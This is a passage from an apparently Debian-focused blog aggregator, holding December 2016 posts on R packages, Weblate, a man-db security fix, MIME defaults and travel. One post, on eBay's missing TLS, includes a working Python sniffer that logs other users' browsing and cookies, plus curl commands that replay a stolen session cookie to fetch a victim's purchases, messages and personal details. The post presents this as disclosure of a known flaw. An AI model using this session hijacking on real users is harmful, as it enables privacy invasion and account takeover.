Search Results: "ed"

12 December 2016

Dirk Eddelbuettel: RcppCCTZ 0.1.0

A new version 0.1.0 of RcppCCTZ arrived on CRAN this morning. It brings a number of new or updated things, starting with new upstream code from CCTZ as well as a few new utility functions. CCTZ is a C++ library for translating between absolute and civil times using the rules of a time zone. In fact, it is two libraries. One for dealing with civil time: human-readable dates and times, and one for converting between between absolute and civil times via time zones. It requires only a proper C++11 compiler and the standard IANA time zone data base which standard Unix, Linux, OS X, ... computers tend to have in /usr/share/zoneinfo. RcppCCTZ connects this library to R by relying on Rcpp. A nice example is the helloMoon() function (based on an introductory example in the CCTZ documentation) showing the time when Neil Armstrong took a small step, relative to local time in New York and Sydney:
R> library(RcppCCTZ)
R> helloMoon(verbose=TRUE)
1969-07-20 22:56:00 -0400
1969-07-21 12:56:00 +1000
                   New_York                      Sydney 
"1969-07-20 22:56:00 -0400" "1969-07-21 12:56:00 +1000" 
R> 
The new formating and parsing functions are illustrated below with default arguments for format strings and timezones. All this can be customized as usual.
R> example(formatDatetime)
frmtDtR> now <- Sys.time()
frmtDtR> formatDatetime(now)            # current (UTC) time, in full precision RFC3339
[1] "2016-12-12T13:21:03.866711+00:00"
frmtDtR> formatDatetime(now, tgttzstr="America/New_York")  # same but in NY
[1] "2016-12-12T08:21:03.866711-05:00"
frmtDtR> formatDatetime(now + 0:4)     # vectorised
[1] "2016-12-12T13:21:03.866711+00:00" "2016-12-12T13:21:04.866711+00:00" "2016-12-12T13:21:05.866711+00:00"
[4] "2016-12-12T13:21:06.866711+00:00" "2016-12-12T13:21:07.866711+00:00"
R> example(parseDatetime)
prsDttR> ds <- getOption("digits.secs")
prsDttR> options(digits.secs=6) # max value
prsDttR> parseDatetime("2016-12-07 10:11:12",        "%Y-%m-%d %H:%M:%S");   # full seconds
[1] "2016-12-07 04:11:12 CST"
prsDttR> parseDatetime("2016-12-07 10:11:12.123456", "%Y-%m-%d %H:%M:%E*S"); # fractional seconds
[1] "2016-12-07 04:11:12.123456 CST"
prsDttR> parseDatetime("2016-12-07T10:11:12.123456-00:00")  ## default RFC3339 format
[1] "2016-12-07 04:11:12.123456 CST"
prsDttR> now <- trunc(Sys.time())
prsDttR> parseDatetime(formatDatetime(now + 0:4))               # vectorised
[1] "2016-12-12 07:21:17 CST" "2016-12-12 07:21:18 CST" "2016-12-12 07:21:19 CST"
[4] "2016-12-12 07:21:20 CST" "2016-12-12 07:21:21 CST"
prsDttR> options(digits.secs=ds)
R>
Changes in this version are summarized here:

Changes in version 0.1.0 (2016-12-11)
  • Synchronized with CCTZ upstream.
  • New parsing and formating helpers for Datetime vectors
  • New parsing and formating helpers for (two) double vectors representing full std::chrono nanosecond resolutions
  • Updated documentation and examples.

We also have a diff to the previous version thanks to CRANberries. More details are at the RcppCCTZ page; code, issue tickets etc at the GitHub repository.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

Michal &#268;iha&#345;: New location for Weblate

Today, Weblate got new home. The difference is not that big - it has been moved from my personal GitHub account to WeblateOrg organization. The main motivation is to have all Weblate related repositories in one location (all others including wlc, Docker or website are already there). The move will also allow to better manage the project in future as having it in separate repositories provides less management options on GitHub than using organization. In case you have cloned the git repository, please update
git remote set-url origin https://github.com/WeblateOrg/weblate.git
Of course all issue tracker locations have changed as well (I believe the redirect on GitHub will stay as long as I won't fork the repository, so expect it to work at least month). See GitHub documentation on repository moving. I'm sorry for all the troubles, but I think this is really necessary move.

Filed under: Debian English SUSE Weblate 0 comments

Paul Tagliamonte: DNSync MAC Addresses

I ve been hacking on a project on and off for my LAN called DNSync. This will take a DNSMasq leases file and sync it to Amazon Route 53. I ve added a new feature, which will create A reccords for each MAC address on the LAN. Since DNSync won t touch CNAME records, I use CNAME records (manually) to point to the auto-synced A records for services on my LAN (such as my Projector, etc). Since It s easy for two machines to have the same name, I ve decided to add A records for each MAC as well as their client name. They take the fomm of something like ab-cd-ef-ab-cd-ef.by-mac.paultag.house., which is harder to accedentally collide.

11 December 2016

Colin Watson: The sad tale of CVE-2015-1336

Today I released man-db 2.7.6 (announcement, NEWS, git log), and uploaded it to Debian unstable. The major change in this release was a set of fixes for two security vulnerabilities, one of which affected all man-db installations since 2.3.12 (or 2.3.10-66 in Debian), and the other of which was specific to Debian and its derivatives. It s probably obvious from the dates here that this has not been my finest hour in terms of responding to security issues in a timely fashion, and I apologise for that. Some of this is just the usual life reasons, which I shan t bore you by reciting, but some of it has been that fixing this properly in man-db was genuinely rather complicated and delicate. Since I ve previously advocated man-db over some of its competitors on the basis of a better security posture, I think it behooves me to write up a longer description. I took over maintaining man-db over fifteen years ago in slightly unexpected circumstances (I got annoyed with its bug list and made a couple of non-maintainer uploads, and then the previous maintainer died, so I ended up taking over both in Debian and upstream). I was a fairly new developer at the time, and there weren t a lot of people I could ask questions of, but I did my best to recover as much of the history as I could and learn from it. One thing that became clear very quickly, both from my own inspection and from the bug list, was that most of the code had been written in a rather more innocent time. It was absolutely riddled with dangerous uses of the shell, poor temporary file handling, buffer overruns, and various common-or-garden deficiencies of that kind. I spent several years reworking large swathes of the codebase to be more robust against those kinds of bugs by design, and for example libpipeline came out of that effort. The most subtle and risky set of problems came from the fact that the man and mandb programs were installed set-user-id to the man user. Part of this was so that man could maintain preformatted cat pages , and part of it was so that users could run mandb if the system databases were out of date (this is now much less useful since most package managers, including dpkg, support some kind of trigger mechanism that can run mandb whenever new system-level manual pages are installed). One of the first things I did was to make this optional, and this has been a disabled-by-default debconf option in Debian for a long time now. But it s still a supported option and is enabled by default upstream, and when running setuid man and mandb need to take care to drop privileges when dealing with user-controlled data and to write files with the appropriate ownership and permissions. My predecessor had problems related to this such as Debian #26002, and one of the ways they dealt with them was to make /var/cache/man/ set-group-id root, in order that files written to that directory would have consistent group ownership. This always struck me as rather strange and I meant to do something about it at some point, but until the first vulnerability report above I regarded it as mainly a curiosity, since nothing in there was group-writeable anyway. As a result, with the more immediate aim of making the system behave consistently and dealing with bug reports, various bits of code had accreted that assumed that /var/cache/man/ would be man:root 2755, and not all of it was immediately obvious. This interacted with the second vulnerability report in two ways. Firstly, at some level it caused it because I was dealing with the day-to-day problems rather than thinking at a higher level: a series of bugs led me down the path of whacking problems over the head with a recursive chown of /var/cache/man/ from cron, rather than working out why things got that way in the first place. Secondly, once I d done that, I couldn t remove the chown without a much more extensive excursion into all the code that dealt with cache files, for fear of reintroducing those bugs. So although the fix for the second vulnerability is very simple in itself, I couldn t get there without dealing with the first vulnerability. In some ways, of course, cat pages are a bit of an anachronism. Most modern systems can format pages quickly enough that it s not much of an issue. However, I m loath to drop the feature entirely: I m generally wary of assuming that just because I have a fast system that everyone does. So, instead, I did what I should have done years ago: make man and mandb set-group-id man as well as set-user-id man, at which point we can simply make all the cache files and directories be owned by man:man and drop the setgid bit on cache directories. This should be simpler and less prone to difficult-to-understand problems. I expect that my next substantial upstream release will switch to --disable-setuid by default to reduce exposure, though, and distributions can start thinking about whether they want to follow that (Fedora already does, for example). If this becomes widely disabled without complaints then that would be good evidence that it s reasonable to drop the feature entirely. I m not in a rush, but if you do need cat pages then now is a good time to write to me and tell me why. This is the fiddliest set of vulnerabilities I ve dealt with in man-db for quite some time, so I hope that if there are more then I can get back to my previous quick response time.

Sandro Tosi: What's that code: Elementary S04E09

they hacked a car and around 7:27 in the episode they are analyzing the car's computer source code, that's some sweet compression they say, but it turns out it's Perl interpreter source code, with Perl replaced with Auto (after all it's the auto code right?)

https://perl5.git.perl.org/perl.git/blob/HEAD:/perl.c#l431 and following lines

another interesting code copy was in The Americans (cant remember season or episode), when they were trying to acquire the ECHO program source code, what's on the screen is actually MATLAB source code

Petter Reinholdtsen: Oolite, a life in space as vagabond and mercenary - nice free software

In my early years, I played the epic game Elite on my PC. I spent many months trading and fighting in space, and reached the 'elite' fighting status before I moved on. The original Elite game was available on Commodore 64 and the IBM PC edition I played had a 64 KB executable. I am still impressed today that the authors managed to squeeze both a 3D engine and details about more than 2000 planet systems across 7 galaxies into a binary so small. I have known about the free software game Oolite inspired by Elite for a while, but did not really have time to test it properly until a few days ago. It was great to discover that my old knowledge about trading routes were still valid. But my fighting and flying abilities were gone, so I had to retrain to be able to dock on a space station. And I am still not able to make much resistance when I am attacked by pirates, so I bougth and mounted the most powerful laser in the rear to be able to put up at least some resistance while fleeing for my life. :) When playing Elite in the late eighties, I had to discover everything on my own, and I had long lists of prices seen on different planets to be able to decide where to trade what. This time I had the advantages of the Elite wiki, where information about each planet is easily available with common price ranges and suggested trading routes. This improved my ability to earn money and I have been able to earn enough to buy a lot of useful equipent in a few days. I believe I originally played for months before I could get a docking computer, while now I could get it after less then a week. If you like science fiction and dreamed of a life as a vagabond in space, you should try out Oolite. It is available for Linux, MacOSX and Windows, and is included in Debian and derivatives since 2011. As usual, if you use Bitcoin and want to show your support of my activities, please send Bitcoin donations to my address 15oWEoG9dUPovwmUL9KWAnYRtNJEkP1u1b.

Charles Plessy: apt purge ifupdown

...oh wow, it still works... I never had realised that network-manager did not need ifupdown.

Clint Adams: Only in San Francisco would one brag about this

I dated Appelbaum! she said. I gotta go, I said.

Clint Adams: Any way the wind blows

NOAA decommissioning weather.noaa.gov led to breakage which reveals just how much duplication of code and effort there is for fetching and parsing weather data.

10 December 2016

Iain R. Learmonth: The Internet of Dangerous Auction Sites

It might be that the internet era of fun and games is over, because the internet is now dangerous. Bruce Schneier
Ok, I know this is kind of old news now, but Bruce Schneier gave testimony to the House of Representatives Energy & Commerce Committee about computer security after the Dyn attack. I m including this quote because I feel it sets the scene nicely for what follows here. Last week, I was browsing the popular online auction site eBay and I noticed that there was no TLS. For a moment, I considered that maybe my traffic was being intercepted deliberately, there s no way that eBay as a global company would be deliberately risking users in this way. I was wrong. There is not and has never been TLS for large swathes of the eBay site. In fact, the only point at which I ve found TLS is in their help pages and when it comes to entering card details (although it ll give you back the last 4 digits of your card over a plaintext channel).
sudo apt install wireshark
# You'll want to allow non-root users to perform capture
sudo adduser  whoami  wireshark
# Log out and in again to assume the privileges you've granted yourself
What can you see? They first thing I d like to call eBay on is a statement in their webpage about Cookies, Web Beacons, and Similar Technologies:
We don t store any of your personal information on any of our cookies or other similar technologies.
Well eBay, I don t know about you, but for me my name is personal information. Ana, who investigated this with me, also confirmed that her name was present on her cookie when using her account. But to answer the question, you can see pretty much everything. Using the Observer module of PATHspider, which is essentially a programmable flow meter, let s take a look at what items users of the network are browsing:
sudo apt install pathspider
The following is a Python 3 script that you ll need to run as root (for packet capturing) and will need to kill with ^C when you re done because I didn t give it an exit condition:
import logging
import queue
import threading
import email
import re
from io import StringIO
import plt
from pathspider.observer import Observer
from pathspider.observer import basic_flow
from pathspider.observer.tcp import tcp_setup
from pathspider.observer.tcp import tcp_handshake
from pathspider.observer.tcp import tcp_complete
def tcp_reasm_setup(rec, ip):
        rec['payload'] = b''
        return True
def tcp_reasm(rec, tcp, rev):
        if not rev and tcp.payload is not None:
                rec['payload'] += tcp.payload.data
        return True
lturi = "int:wlp3s0" # CHANGE THIS TO YOUR NETWORK INTERFACE
logging.getLogger().setLevel(logging.INFO)
logger = logging.getLogger(__name__)
ebay_itm = re.compile("(?:item= itm(?:\/[^0-9][^\/]+)?\/)([0-9]+)")
o = Observer(lturi,
             new_flow_chain=[basic_flow, tcp_setup, tcp_reasm_setup],
             tcp_chain=[tcp_handshake, tcp_complete, tcp_reasm])
q = queue.Queue()
t = threading.Thread(target=o.run_flow_enqueuer,
                     args=(q,),
                     daemon=True)
t.start()
while True:
    f = q.get()
    # www.ebay.co.uk uses keep alive for connections, multiple requests
    # may be in a single flow
    requests = [x + b'\r\n' for x in f['payload'].split(b'\r\n\r\n')]
    for request in requests:
        if request.startswith(b'GET '):
            request_text = request.decode('ascii')
            request_line, headers_alone = request_text.split('\r\n', 1)
            headers = email.message_from_file(StringIO(headers_alone))
            if headers['Host'] != "www.ebay.co.uk":
                break
            itm = ebay_itm.search(request_line)
            if itm is not None and len(itm.groups()) > 0 and itm.group(1) is not None:
                logging.info("%s viewed item %s", f['sip'],
                             "http://www.ebay.co.uk/itm/" + itm.group(1))
Note: PATHspider s Observer won t emit a flow until it is completed, so you may have to close your browser in order for the TCP connection to be closed as eBay does use Connection: keep-alive. If all is working correctly (if it was really working correctly, it wouldn t be working because the connections would be encrypted, but you get what I mean ), you ll see something like:
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/192045666116
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/161990905666
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/311756208540
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/131911806454
INFO:root:172.22.152.137 viewed item http://www.ebay.co.uk/itm/192045666116
It is left as an exercise to the reader to map the IP addresses to users. You do however have the hint that the first name of the user is in the cookie. This was a very simple example, you can also passively sniff the content of messages sent and recieved on eBay (though I ll admit email has the same flaw in a large number of cases) and you can also see the purchase history and cart contents when those screens are viewed. Ana also pointed out that when you browse for items at home, eBay may recommend you similar items and then those recommendations would also be available to anyone viewing the traffic at your workplace. Perhaps you want to see the purchase history but you re too impatient to wait for the user to view the purchase history screen. Don t worry, this is also possible. Three researchers from the Department of Computer Science at Columbia University, New York published a paper earlier this year titled The Cracked Cookie Jar: HTTP Cookie Hijacking and the Exposure of Private Information. In this paper, they talk about hijacking cookies using packet capture tools and then using the cookies to impersonate users when making requests to websites. They also detail in this paper a number of concerning websites that are vulnerable, including eBay. Yes, it s 2016, nearly 2017, and cookie hijacking is still a thing. You may remember Firesheep, a Firefox plugin, that could be used to hijack Facebook, Twitter, Flickr and other websites. It was released in October 2010 as a demonstration of the security risk of session hijacking vulnerabilities to users of web sites that only encrypt the login process and not the cookie(s) created during the login process. Six years later and eBay has not yet listened. So what is cookie hijacking all about? Let s get hands on. This time, instead of looking at the request line, look at the Cookie header. Just dump that out. Something like:
print(headers['Cookie'])
Now you have the user s cookie and you can impersonate that user. Store the cookie in an environment variable named COOKIE and
sudo apt install curl
# Get the purchase history
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/PurchaseHistory > history.html
# Get the current cart contents
curl --cookie "$COOKIE" http://cart.payments.ebay.co.uk/sc/view > cart.html
# Get the current bids/offers
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/BidsOffers > bids.html
# Get the messages list
curl --cookie "$COOKIE" http://mesg.ebay.co.uk/mesgweb/ViewMessages/0 > messages.html
# Get the watch list
curl --cookie "$COOKIE" http://www.ebay.co.uk/myb/WatchList > watch.html
I m sure you can use your imagination for more. One of my favourites is
# Get the personal information
curl --cookie "$COOKIE" http://my.ebay.co.uk/ws/eBayISAPI.dll?MyeBay&CurrentPage=MyeBayPersonalInfo&gbh=1&ssPageName=STRK:ME:LNLK > personal.html
This one will give you the secret questions (but not the answers) and the last 4 digits of the registered card for a seller account. In the case of Mat Honan in 2012, the last 4 digits of his card number led to the loss of his Twitter account. The techniques I ve shown here do not seem to care where the request comes from. We tested using my cookie from Ana s laptop and also tried from a server hosted in the US (our routing origin is in Germany so this should have perhaps been a red flag). I could not find any interface through which I could query my login history, I m not sure what it would have shown. I m not a security researcher, though I do work as an Internet Engineering researcher. I m publishing this as these vulnerabilities have already been disclosed in the paper I linked above and I believe this is something that needs attention. Every time I pointed out to someone that eBay does not use TLS over the last week they were suprised, and often horrified. You might think that better validation of the source of the cookie might help, for instance, rejecting requests that suddenly come from other countries. As long as the attacker is on the path they have the ability to create flows that impersonate the host at the network layer. The only option here is to encrypt the flow and to ensure a means of authenticating the server, which is exactly what TLS provides. You might think that such attacks may never occur, but active probes in response to passive measurements have been observed. I would think that having all these cookies floating around the Internet is really just an invitation for those cookies to be abused by some intelligence service (or criminal organisation). I would be very surprised if such ideas had not already been explored, if not implemented, on a large scale. Please Internet, TLS already.

9 December 2016

Simon Richter: Busy

I'm fairly busy at the moment, so I don't really have time to work on free software, and when I do I really want to do something else than sit in front of a computer. I have declared email bankruptcy at 45,000 unread mails. I still have them, and plan to deal with them in small batches of a few hundred at a time, but in case you sent me something important, it is probably stuck in there. I now practice Inbox Zero, so resending it is a good way to reach me. For my Debian packages, not much changes. Any package with more than ten users is team maintained anyway. Sponsoring for the packages where I agreed to do so goes on. For KiCad, I won't get around to much of what I'd planned this year. Fortunately, at this point no one expects me to do anything soon. I still look into the CI system and unclog anything that doesn't clear on its own within a week. Plans for December: Plans for January: Plans for February: Other than that, reading lots of books and meeting other people.

Guido G nther: Debian Fun in November 2016

Debian LTS November marked the nineteenth month I contributed to Debian LTS under the Freexian umbrella. I had 7 hours allocated which I used completely by: Other Debian stuff Some other Free Software activites

John Goerzen: Giant Concrete Arrows, Old Maps, and Fascinated Kids

Let me set a scene for you. Two children, ages 7 and 10, are jostling for position. There s a little pushing and shoving to get the best view. This is pretty typical for siblings this age. But what, you may wonder, are they trying to see? A TV? Video game? No. Jacob and Oliver were in a library, trying to see a 98-year-old map of the property owners in Township 23, range 1 East, Harvey County, Kansas. And they were super excited about it, somewhat to the astonishment of the research librarian, who I am sure is more used to children jostling for position over the DVDs in the youth section than poring over maps in the non-circulating historical archives! All this started with giant concrete arrows in the middle of nowhere. Nearly a century ago, the US government installed a series of arrows on the ground in Kansas. These were part of a primitive air navigation system that led to the first transcontinental airmail service. Every so often, people stumble upon these abandoned arrows and there is a big discussion online. Even Snopes has had to verify their authenticity (verdict: true). Entire websites exist to tracking and locating the remnants of these arrows. And as one of the early air mail routes went through Kansas, every so often people find these arrows around here. I got the idea that it would be fun to replicate a journey along the old routes. Maybe I d spot a few old arrows and such. So I started collecting old maps: a Contract Airmail Route #34 (CAM 34) map from 1927, aviation sectionals from 1933 and 1946, etc. I noticed an odd thing on these maps: the Newton, KS airport was on the other side of the city from its present location, sometimes even several miles outside the city. What was going on? 1927 Airway Map
(1927 Airway Map) 1946 Wichita Sectional
(1946 Wichita sectional) So one foggy morning, I explained my puzzlement to the boys. I highlighted all the mysteries: were these maps correct? Were there really two Newton airports at one time? How many airports were there, and where were they? Why did they move? What was the story behind them? And I offered them the chance to be history detectives with me. And oh my goodness, were they ever excited! We had some information from a very helpful person at the Harvey County Historical Museum (thanks Kris!) So we suspected one airport at least was established in 1927. We also had a description of its location, though given in terms of township maps. So the boys and I made the short drive over to the museum. We reviewed their property maps, though they were all a little older than the time period we needed. We looked through books and at pictures. Oliver pored over a railroad map of Newton from a century ago, fascinated. Jacob was excited to discover on one map that there used to be a train track down the middle of Main Street! I was interested that the present Newton Airport was once known as Wirt Field, rather to my surprise. I somehow suspect most 2nd and 4th graders spend a lot less excited time on their research floor! Then on to the Newton Public Library to see if they d have anything more and that s when the map that produced all the excitement came out. It, by itself, didn t answer the question, but by piecing together a number of pieces of information newspaper stories, information from the museum, and the maps we were able to come up with a pretty good explanation, much to their excitement. Apparently, a man named Tangeman owned a golf course (the golf links according to the paper), and around 1927 the city of Newton purchased it, because of all the planes that were landing there. They turned it into a real airport. Later, they bought land east of the city and moved the airport there. However, during World War II, the Navy took over that location, so they built a third airport a few miles west of the city but moved back to the current east location after the Navy returned that field to them. Of course, a project like this just opens up all sorts of extra questions: why isn t it called Wirt Field anymore? What s the story of Frank Wirt? What led the Navy to take over Newton s airport? Why did planes start landing on the golf course? Where precisely was the west airport located? How long was it there? (I found an aerial photo from 1956 that looks like it may have a plane in that general area, but it seems later than I d have expected) So now I have the boys interested in going to the courthouse with me to research the property records out there. Jacob is continually astounded that we are discovering things that aren t in Wikipedia, and also excited that he could be the one to add them. To be continued, apparently!

8 December 2016

Stig Sandbeck Mathisen: MIME types and applications

On a Linux system with desktop-file-utils installed, the default application for opening a file with a file manager, from a web browser, or using xdg-open on the command line is not static. The last installed or upgraded application becomes the default. For example: After installing gimp, that application will be used to open any of the many types of files it supports. This lasts until another application which can open those mime types is installed or upgraded. If I later install or upgrade mupdf , that application will be used for PDF, until, etcetera. There are several bug reports filed for this confusing behaviour: Debian: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=525077 Ubuntu: https://bugs.launchpad.net/ubuntu/+source/gimp/+bug/574342 Firefox: https://bugzilla.mozilla.org/show_bug.cgi?id=727422

Components

/usr/bin/update-desktop-database is a command in the package desktop-file-utils This command is run in the package postinst script, and triggers on writes to /usr/share/applications where .desktop files are written.

/usr/share/applications This directory contains a list of applications (files ending with .desktop). These desktop files include mime types they are able to work with. The mupdf.desktop example shows it is able to work with (among other) application/pdf
[Desktop Entry]
Encoding=UTF-8
Name=MuPDF
GenericName=PDF file viewer
Comment=PDF file viewer
Exec=mupdf %f
TryExec=mupdf
Icon=mupdf
Terminal=false
Type=Application
MimeType=application/pdf;application/x-pdf;
Categories=Viewer;Graphics;
NoDisplay=true
[Desktop Action View]
Exec=mupdf %f
The gimp.desktop application entry shows it is more capable:
[Desktop Entry]
Version=1.0
Type=Application
Name=GNU Image Manipulation Program
# [...]
MimeType=image/bmp;image/g3fax;image/gif;image/x-fits;image/x-pcx;image/x-portable-anymap;image/x-portable-bitmap;image/x-portable-graymap;image/x-portable-pixmap;image/x-psd;image/x-sgi;image/x-tga;image/x-xbitmap;image/x-xwindowdump;image/x-xcf;image/x-compressed-xcf;image/x-gimp-gbr;image/x-gimp-pat;image/x-gimp-gih;image/tiff;image/jpeg;image/x-psp;application/postscript;image/png;image/x-icon;image/x-xpixmap;image/svg+xml;application/pdf;image/x-wmf;image/x-xcursor;
However, I m quite sure I do not want gimp to be the default viewer for all those file types.

/usr/share/applications/mimeinfo.cache This is a list of MIME types, with a list of applications able to open them. The first entry in the list is the default application. You may also have one of these in ~/.local/share/applications for applications installed in the user s home directory. Examples: With gimp.desktop first, xdg-open test.pdf will use gimp
[MIME Cache]
# [...]
application/pdf=gimp.desktop;mupdf.desktop;evince.desktop;libreoffice-draw.desktop;
After uninstalling and reinstalling mupdf, mupdf.desktop is first in the list, and xdg-open test.pdf will use mupdf
[MIME Cache]
# [...]
application/pdf=mupdf.desktop;gimp.desktop;evince.desktop;libreoffice-draw.desktop;
The order of .desktop files in mimeinfo.cache is the reverse of the order they are added to that directory. The last installed utility is first in that list.

Application Trace This was fun to dig into. I ve just gotten some training which included a a better look at auditd. Auditd is a nice hammer, and this problem was a good nail. I ran the command under autrace , and then looked for the order of reads from each run. When mupdf is installed last, mupdf.desktop is read last, and placed first in the list of applications:
root@laptop:~# autrace /usr/bin/update-desktop-database
Waiting to execute: /usr/bin/update-desktop-database
Cleaning up...
Trace complete. You can locate the records with 'ausearch -i -p 13507'
root@laptop:~# ausearch -p 13507   aureport --file   egrep 'gimp mupdf'
389. 12/09/2016 17:35:37 /usr/share/applications/gimp.desktop 4 yes /usr/bin/update-desktop-database 1000 8002
390. 12/09/2016 17:35:37 /usr/share/applications/gimp.desktop 2 yes /usr/bin/update-desktop-database 1000 8003
391. 12/09/2016 17:35:37 /usr/share/applications/mupdf.desktop 4 yes /usr/bin/update-desktop-database 1000 8010
392. 12/09/2016 17:35:37 /usr/share/applications/mupdf.desktop 2 yes /usr/bin/update-desktop-database 1000 8011
root@laptop:~# grep application/pdf /usr/share/applications/mimeinfo.cache
application/pdf=mupdf.desktop;gimp.desktop;evince.desktop;libreoffice-draw.desktop;
Reinstalling gimp puts that first in the entry for application/pdf
root@laptop:~# apt install --reinstall gimp
[...]
Preparing to unpack .../gimp_2.8.18-1_amd64.deb ...
Unpacking gimp (2.8.18-1) over (2.8.18-1) ...
Processing triggers for mime-support (3.60) ...
Processing triggers for desktop-file-utils (0.23-1) ...
Setting up gimp (2.8.18-1) ...
Processing triggers for gnome-menus (3.13.3-8) ...
[...]
root@laptop:~# autrace /usr/bin/update-desktop-database
Waiting to execute: /usr/bin/update-desktop-database
Cleaning up...
Trace complete. You can locate the records with 'ausearch -i -p 15043'
root@laptop:~# ausearch -p 15043   aureport --file   egrep 'gimp mupdf'
389. 12/09/2016 17:39:53 /usr/share/applications/mupdf.desktop 4 yes /usr/bin/update-desktop-database 1000 9550
390. 12/09/2016 17:39:53 /usr/share/applications/mupdf.desktop 2 yes /usr/bin/update-desktop-database 1000 9551
391. 12/09/2016 17:39:53 /usr/share/applications/gimp.desktop 4 yes /usr/bin/update-desktop-database 1000 9556
392. 12/09/2016 17:39:53 /usr/share/applications/gimp.desktop 2 yes /usr/bin/update-desktop-database 1000 9557
root@laptop:~# grep application/pdf /usr/share/applications/mimeinfo.cache
application/pdf=gimp.desktop;mupdf.desktop;evince.desktop;libreoffice-draw.desktop;

Configuration The solution to this is to add configuration so it will use something else than the default. The xdg-mime command is your tool. The various desktop environments often do this for you. However, if you have a lightweight work environment, you may need to do this yourself for the MIME types you care about.
ssm@laptop ~ :) % xdg-mime query default application/pdf
gimp.desktop
ssm@laptop ~ :) % xdg-mime default mupdf.desktop application/pdf
ssm@laptop ~ :) % xdg-mime query default application/pdf
mupdf.desktop
This updates ~/.local/share/applications/mimeapps.list , and you should now have set your preferred PDF reader.

Alessio Treglia: The new professionals of the interconnected world

interdisciplinary-learningThere is an empty chair at the conference table of business professionals, a not assigned place that increasingly demands for the presence of a new type of integration manager. The demands for an ever-increasing specialization, imposed by the modern world, are bringing out with great emphasis the need for an interdisciplinary professional who understands the demands of specialists and who is able to coordinate and to link actions and decisions. This need, often still ignored, is a direct result of the growing complexity of the modern world and the fast communications inside the network.

Complexity is undoubtedly the most suitable paradigm to characterize the historical and social model of today s world, in which the interactions and connections between the various areas now form an inextricable network of relations. Since the 60s and 70s a large group of scholars including the chemist Ilya Prigogine and the physicist Murray Gell-Mann began to study what would become a true Science of Complexity.

Yet this is not an entirely new concept: the term means composed of several parts connected to each other and dependent on each other , exactly as reality, nature, society, and the environment around us. A complex mode of thought integrates and considers all contexts, interconnections, interrelationships between the different realities as part of the vision.

What is professionalism? And who are professionals? What can define a professional? < > <Read More [by Fabio Marzocca]>

Vincent Fourmond: Finding zeros of data using QSoas

QSoas does not provide by default commands to detect zeros of data, and the reason for that is that it is simple, using the integrate command to convert this problem into a peak-finding problem, which can be solved using the find-peaks command. Here is that strategy applied to determining the zeros of the 0-th order bessel function:

QSoas> generate-buffer -10 10 bessel_j0(x) /samples=100001
QSoas> integrate
Current buffer now is: 'generated_int.dat'
QSoas> find-peaks
Found 6 peaks
buffer what x y index width left_width right_width
generated_int.dat min -8.6538 -0.201157042341714 6731 1.7798 0.905999999999999 0.873800000000001
generated_int.dat max -5.52 0.398165469321319 22400 2.2854 1.1862 1.0992
generated_int.dat min -2.4048 -0.403288737672291 37976 1.8232 0.973 0.850199999999999
generated_int.dat max 2.4048 2.53731134529594 62024 nan 2.2026 nan
generated_int.dat min 5.52 1.73585713830231 77600 nan 5.7198 nan
generated_int.dat max 8.6538 2.33517964996535 93269 nan 8.5532 nan

Compare that with the values given on Mathematica's website. This strategy is reasonably resistant to noise, since integration decreases high-frequency noise, but you may have to play with the /window option to find-peaks to avoid detecting the same zero (peak) several times.Hopefully, I'll come back with more regular postings of tips and tricks !

Dirk Eddelbuettel: RcppAPT 0.0.3

A new version of RcppAPT -- our interface from R to the C++ library behind the awesome apt, apt-get, apt-cache, ... commands and their cache powering Debian, Ubuntu and the like -- is now on CRAN. We changed the package to require C++11 compilation as newer Debian systems with g++-6 and the current libapt-pkg-dev library cannot build under the C++98 standard which CRAN imposes (and let's not get into why ...). Once set to C++11 we have no issues. We also added more examples to the manual pages, and turned on code coverage. A bit more information about the package is available here as well as as the GitHub repo.

This post by Dirk Eddelbuettel originated on his Thinking inside the box blog. Please report excessive re-aggregation in third-party for-profit settings.

7 December 2016

Shirish Agarwal: Day trip in Cape Town, part 2

Debconf16 logo The post continues from the last post shared. Let me get some interesting tit-bits not related to the day-trip out-of-the-way first I don t know whether we had full access to see all parts of fuller hall or not. Couple of days I was wondering around Fuller Hall, specifically next to where clothes were pressed. Came to know of the laundry service pretty late but still was useful. Umm next to where the ladies/gentleman pressed our clothes, there is a stairway which goes down. In fact even on the opposite side there is a stairway which goes down. I dunno if other people explored them or not. The jail inside and under UCT I was surprised and shocked to see bars in each room as well as connecting walkways etc. I felt a bit sad, confused and curious and went on to find more places like that. After a while I came up to the ground-level and enquired with some of the ladies therein. I was shocked to know that UCT some years ago (they were not specific) was a jail for people. I couldn t imagine that a place which has so much warmth (in people, not climate) could be evil in a sense. I was not able to get much information out of them about the nature of jail it was, maybe it is a dark past that nobody wants to open up, dunno. There were also two *important* aspects of UCT which Bernelle either forgot, didn t share or I just came to know via the Wikipedia page then but nothing else. 1. MeerKAT Apparently quite a bit of the technology was built-in UCT itself. This would have been interesting for geeks and wanna-be geeks like me 2. The OpenContent Initiative by UCT This would have been also something worth exploring. One more interesting thing which I saw was the French council in Cape Town from outside The French Council in cape town from outside I would urge to look at the picture in the gallery as the picture I shared doesn t really show all the details. For e.g. the typical large french windows which are the hall-mark of French architecture doesn t show its glory but if you look at 1306 2322 original picture instead of the 202 360 reproduction you will see that. You will also the insignia of the French Imperial Eagle whose history I came to know only after I looked it up on the Wikipedia page on that day. It seemed fascinating and probably would have the same pride as the State Emblem of India has for Indians with the four Asiatic Lions standing in a circle protecting each other. I also like the palm tree and the way the French Council seemed little and yet had character around all the big buildings. What also was interesting that there wasn t any scare/fear-build and we could take photos from outside unlike what I had seen and experienced in Doha, Qatar as far as photography near Western Embassies/Councils were concerned. One of the very eye-opening moments for me was also while I was researching flights from India to South Africa. While perhaps unconsciously I might have known that Middle East is close to India, in reality, it was only during the search I became aware that most places in Middle East by flight are only an hour or two away. This was shocking as there is virtually no mention of one of our neighbours when they are source of large-scale remittances every year. I mean this should have been in our history and geography books but most do not dwell on the subject. It was only during and after that I could understand Mr. Modi s interactions and trade policies with the Middle East. Another interesting bit was seeing a bar in a Sprinbok bus spingbok atlas bar in bus While admittedly it is not the best picture of the bar, I was surprised to find a bar at the back of a 